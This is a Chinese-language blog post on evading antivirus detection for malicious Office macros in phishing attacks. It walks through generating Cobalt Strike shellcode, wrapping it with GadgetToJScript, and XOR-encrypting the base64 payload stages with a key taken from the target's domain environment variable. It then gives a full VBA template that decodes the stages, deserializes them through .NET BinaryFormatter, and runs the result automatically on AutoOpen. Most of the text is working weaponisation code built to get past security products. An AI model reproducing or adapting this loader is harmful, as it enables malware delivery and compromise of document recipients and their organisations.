邮件攻防--宏免杀姿势2
众所周知,一般恶意样本或方法只要一公开就会被安全厂商分析,所以免杀不是绝对的,重点不在免杀而是思路
python真香, 能快速实现你想实现的想法
免杀测试过程:
- 对GadgetToJScript 生成的payload 直接贴入word文档 ,发现被杀
- 删除部分base64 编码过的字节码,发现不会被杀,说明是base64字节码部分被杀
- 写工具对base64 编码部分进行xor 混淆, key字段取当前环境中环境变量特定的值作为解密key,一般环境是没有该环境变量的
0x01 cobaltstrike
生成csharp shellcode
0x02 使用shellcode加载器:
0x03 使用GadgetToJScript
生成vba
为什么用GadgetToJScript ? 反射执行,无文件落地,不用执行命令
1 | # .net 3.5 |
0x04 对GadgetToJScript
生成的payload stage部分进行xor处理
- 生成处理后的vba
1 | python3 vbaxor.py --vba payloads.vba --key wolvez.com |
- 说明: 取环境变量中
USERDNSDOMAIN
环境变量部分值(域环境才有该值)作xor 加密key
如环境变量中 USERDNSDOMAIN 值cn1.global.alibaba.com
,取alibaba.com
字符串作key,实际位置可以在模板文件中调整
1 | # -*- coding: UTF-8 -*- |
0x05 模板文件
templates.vba
Function XorC(ByVal sData As String, ByVal sKey As String) As String
Dim l As Long, i As Long, byIn() As Byte, byOut() As Byte, byKey() As Byte
Dim bEncOrDec As Boolean
Dim addVal
If Len(sData) = 0 Or Len(sKey) = 0 Then XorC = "Invalid argument(s) used": Exit Function
If Left(sData, 3) = "xxx" Then
bEncOrDec = False 'decryption
sData = Mid(sData, 4)
Else
bEncOrDec = True 'encryption
End If
byIn = sData
byOut = sData
byKey = sKey
If bEncOrDec = True Then
addVal = 32
Else
addVal = 1 * -32
End If
l = LBound(byKey)
For i = LBound(byIn) To UBound(byIn) - 1 Step 2
If (((byIn(i) + Not bEncOrDec) Xor byKey(l)) + addVal) > 255 Then
byOut(i) = (((byIn(i) + Not bEncOrDec) Xor byKey(l)) + addVal) Mod 255 + addVal
Else
'If bEncOrDec Then
If ((byIn(i) + Not bEncOrDec) Xor byKey(l)) - addVal < 32 Then byOut(i) = ((byIn(i) + Not bEncOrDec) Xor byKey(l)) + addVal
If ((byIn(i) + Not bEncOrDec) Xor byKey(l)) - addVal > 255 Then byOut(i) = ((byIn(i) + Not bEncOrDec) Xor byKey(l)) - addVal
If ((byIn(i) + Not bEncOrDec) Xor byKey(l)) > 32 And (byIn(i) + Not bEncOrDec) Xor byKey(l) < 256 Then byOut(i) = ((byIn(i) + Not bEncOrDec) Xor byKey(l))
End If
l = l + 2
If l > UBound(byKey) Then l = LBound(byKey)
Next i
XorC = byOut
If bEncOrDec Then XorC = "xxx" & XorC 'add "xxx" onto encrypted text
End Function
Function myKey()
myEnv = Environ("USERDNSDOMAIN")
myEnv = Right(myEnv, 9)
myKey = myEnv
End Function
Function b64Decode(ByVal enc)
Dim xmlObj, nodeObj
Set xmlObj = CreateObject("Msxml2.DOMDocument.3.0")
Set nodeObj = xmlObj.CreateElement("base64")
nodeObj.dataType = "bin.base64"
nodeObj.Text = enc
b64Decode = nodeObj.nodeTypedValue
Set nodeObj = Nothing
Set xmlObj = Nothing
End Function
Function Exec()
Dim stage_1, stage_2
${stage_xor1}
${stage_xor2}
new_stage_1 = b64Decode(stage_1)
Key = myKey
Unicode_new_stage_1 = StrConv(new_stage_1, vbUnicode)
de_stage_1 = XorC(Unicode_new_stage_1, Key)
last_stage_1 = Replace(de_stage_1, "xxx", "", 4)
new_stage_2 = b64Decode(stage_2)
Unicode_new_stage_2 = StrConv(new_stage_2, vbUnicode)
de_stage_2 = XorC(Unicode_new_stage_2, Key)
last_stage_2 = Replace(de_stage_2, "xxx", "", 4)
Dim stm_1 As Object, fmt_1 As Object
manifest = "<?xml version=""1.0"" encoding=""UTF-16"" standalone=""yes""?>"
manifest = manifest & "<assembly xmlns=""urn:schemas-microsoft-com:asm.v1"" manifestVersion=""1.0"">"
manifest = manifest & "<assemblyIdentity name=""mscorlib"" version=""4.0.0.0"" publicKeyToken=""B77A5C561934E089"" />"
manifest = manifest & "<clrClass clsid=""{D0CBA7AF-93F5-378A-BB11-2A5D9AA9C4D7}"" progid=""System.Runtime.Serialization"
manifest = manifest & ".Formatters.Binary.BinaryFormatter"" threadingModel=""Both"" name=""System.Runtime.Serialization.Formatters.Binary.BinaryFormatter"" "
manifest = manifest & "runtimeVersion=""v4.0.30319"" /><clrClass clsid=""{8D907846-455E-39A7-BD31-BC9F81468B47}"" "
manifest = manifest & "progid=""System.IO.MemoryStream"" threadingModel=""Both"" name=""System.IO.MemoryStream"" runtimeVersion=""v4.0.30319"" /></assembly>"
Set actCtx = CreateObject("Microsoft.Windows.ActCtx")
actCtx.ManifestText = manifest
Set stm_1 = actCtx.CreateObject("System.IO.MemoryStream")
Set fmt_1 = actCtx.CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
Dim Decstage_1
Decstage_1 = b64Decode(last_stage_1)
For Each i In Decstage_1
stm_1.WriteByte i
Next i
On Error Resume Next
stm_1.Position = 0
Dim o1 As Object
Set o1 = fmt_1.Deserialize_2(stm_1)
If Err.Number <> 0 Then
Dim stm_2 As Object
Set stm_2 = actCtx.CreateObject("System.IO.MemoryStream")
Dim Decstage_2
Decstage_2 = b64Decode(last_stage_2)
For Each j In Decstage_2
stm_2.WriteByte j
Next j
stm_2.Position = 0
Dim o2 As Object
Set o2 = fmt_1.Deserialize_2(stm_2)
End If
End Function
Sub AutoOpen()
exec
End Sub